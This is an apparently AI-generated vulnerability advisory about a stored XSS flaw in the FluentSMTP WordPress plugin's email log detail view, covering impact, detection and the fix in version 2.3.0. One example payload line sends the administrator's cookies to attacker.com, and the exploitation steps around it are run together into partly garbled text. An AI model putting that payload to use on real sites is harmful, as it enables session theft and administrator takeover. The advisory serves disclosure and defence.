
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-16636 is a Stored Cross-Site Scripting (XSS) vulnerability in the FluentSMTP – WP SMTP Plugin for WordPress, affecting all versions up to and including 2.2.95. The flaw exists in the Email Logs feature, where insufficient input sanitization and output escaping of the recipient display name (to.name) allows unauthenticated attackers to inject arbitrary web scripts. The vulnerability was published on August 6, 2026, with a patch available in version 2.3.0. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient sanitization of the to.name (recipient display name) field stored in email logs via WordPress's wp_mail() function. The payload is stored in the log database and does not execute in the list view — which applies the escapeHtml pipeline — but fires only in the detail view when an administrator uses the Prev/Next navigation controls, a code path that bypasses the escaping logic. Vulnerable code paths are identifiable in app/Models/Logger.php (lines 165 and 310), app/Services/Mailer/BaseHandler.php (lines 290 and 357), and the admin JavaScript bundle fluent-mail-admin-app.js (GitHub Advisory).
Successful exploitation allows an unauthenticated attacker to inject persistent malicious scripts into the WordPress admin panel's email log detail view. When an administrator navigates the log detail view using Prev/Next controls, the injected script executes in their browser session, potentially enabling session token theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and access to sensitive site configuration data. The scope is changed, meaning the impact extends beyond the plugin itself to the broader WordPress installation (GitHub Advisory).
Attacker<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.wp_mail() as the recipient's display name.to.name value in the email log database.escapeHtml). The script executes only when an administrator opens the email log detail view and uses the Prev/Next navigation controls, which bypass the escaping pipeline.to_name or recipient display name field; unexpected entries with encoded characters (<, >, <, javascript:) in email log records.Update the FluentSMTP plugin to version 2.3.0 or later, which includes the fix applied in changeset 3635135 that adds proper output escaping for the to.name field in the detail view navigation path (GitHub Advisory). As an interim workaround, restrict access to the FluentSMTP email logs to the minimum number of trusted administrators, and implement a Content Security Policy (CSP) header to limit the impact of any XSS execution. Site owners should also audit existing email logs for suspicious content in recipient display name fields.
The vulnerability was reported to the Wordfence threat intelligence database and published simultaneously to the GitHub Advisory Database and NVD on August 6, 2026. No significant public researcher commentary or social media discussion has been observed beyond standard vulnerability aggregator coverage (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."